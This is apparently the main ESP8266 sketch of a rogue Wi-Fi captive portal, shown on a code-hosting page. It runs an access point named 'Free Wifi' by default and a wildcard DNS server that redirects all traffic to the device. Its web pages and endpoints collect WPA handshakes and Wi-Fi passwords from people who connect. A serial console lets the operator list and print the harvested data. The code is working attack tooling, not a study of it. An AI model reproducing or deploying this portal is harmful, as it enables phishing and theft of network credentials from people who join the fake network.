v1
5fd5c45 ยท 3 years ago 4 commits
  1#include <ESP8266WebServer.h>
  2#include <DNSServer.h>
  3#include <ArduinoJson.h>
  4#include <LittleFS.h>
  5
  6#include "utils.h"
  7#include "wifi.h"
  8#include "server.h"
  9
 10
 11// Global variables 
 12IPAddress APIP(172, 0, 0, 1);
 13const byte DNS_PORT = 53;
 14DNSServer dnsServer;
 15ESP8266WebServer server(80);
 16
 17
 18void setup()
 19{
 20  Serial.begin(115200);
 21  Serial.println("\nBooting");
 22  if (!LittleFS.begin()) {
 23    Serial.println("Failed to mount file system");
 24    return;
 25  }
 26  Serial.println("File system mounted");
 27  initialServerSetup(APIP);
 28  dnsServer.start(DNS_PORT, "*", APIP);
 29
 30  server.on("/", [](){handleRequest(server, "/index.html.gz","html");});
 31  server.on("/handshake", [](){handleRequest(server, "/handshake.html.gz","html");});
 32  server.on("/ssid", [](){handleRequest(server, "/ssid.html.gz","html");});
 33  server.on("/final", [](){handleRequest(server, "/final.html.gz","html");});
 34
 35  server.on("/jquery.min.js", [](){handleRequest(server,"/jquery.min.js.gz","js");});
 36  server.on("/bootstrap.min.js", [](){handleRequest(server,"/bootstrap.min.js.gz","js");});
 37  server.on("/capfile.js", [](){handleRequest(server,"/capfile.js.gz","js");});
 38  server.on("/crypto.js", [](){handleRequest(server,"/crypto.js.gz","js");}); 
 39
 40  server.on("/post_ssid", [](){String ssid = server.arg("ssid");changeWifi(ssid);});
 41  server.on("/post_handshake",[]() {handlePostHandshake(server);});
 42  server.on("/post_password",[]() {handlePostPassword(server); BLINK(5); });
 43  server.on("/get_datas",[]() {server.send(200, "application/json", getDatas());});
 44  server.on("/clear_handshakes",[]() {server.send(200, "application/json", clearHandshakes());});
 45  server.on("/clear_passwords",[]() {server.send(200, "application/json", clearPasswords());});
 46
 47  server.onNotFound([](){handleNotFound(server);});
 48
 49  server.begin();
 50  pinMode(BUILTIN_LED, OUTPUT);
 51  digitalWrite(BUILTIN_LED, HIGH);
 52}
 53
 54void loop()
 55{
 56  if (Serial.available()) {
 57    String inputString = Serial.readStringUntil('\n');
 58    const char *buffer = inputString.c_str();
 59
 60    if(strcmp(buffer,"help") == 0){
 61      Serial.println("Available commands:");
 62      Serial.println("help - show this message");
 63      Serial.println("ls - list files");
 64      Serial.println("show config - show config file");
 65      Serial.println("show datas - show datas file");
 66      Serial.println("reset ssid - reset ssid to default(Free Wifi)");
 67      Serial.println("storage info - show storage info");
 68    }
 69
 70    else if (strcmp(buffer, "ls") == 0) {
 71      Serial.println("Listing files...");
 72      listDir("/",1);
 73      Serial.println("");
 74    }
 75
 76    else if (strcmp(buffer, "show config") == 0) {
 77      Serial.println("Reading config file...");
 78      DynamicJsonDocument config = readJsonFile("/json/config.json");
 79      serializeJson(config, Serial);
 80      Serial.println("");
 81    }
 82
 83    else if (strcmp(buffer, "show datas") == 0) {
 84      Serial.println("Reading datas file...");
 85      String datas = getDatas();
 86      Serial.println(datas);
 87      Serial.println("");
 88    }
 89
 90    else if (strcmp(buffer,"reset ssid") == 0){
 91      Serial.println("Resetting config file...");
 92      DynamicJsonDocument config = readJsonFile("/json/config.json");
 93      config.clear();
 94      config["ssid"] = "Free Wifi";
 95      writeJsonFile("/json/config.json", config);
 96      setupWifi();
 97    }
 98    else if (strcmp(buffer,"storage info") == 0){
 99      Serial.println("Calculating Space...");
100      storageInfo();  
101    }
102
103    else {
104      Serial.println("Invalid command");
105      Serial.println("Type help to see available commands");
106    }
107    Serial.println("");
108  }
109  dnsServer.processNextRequest();
110  server.handleClient();
111}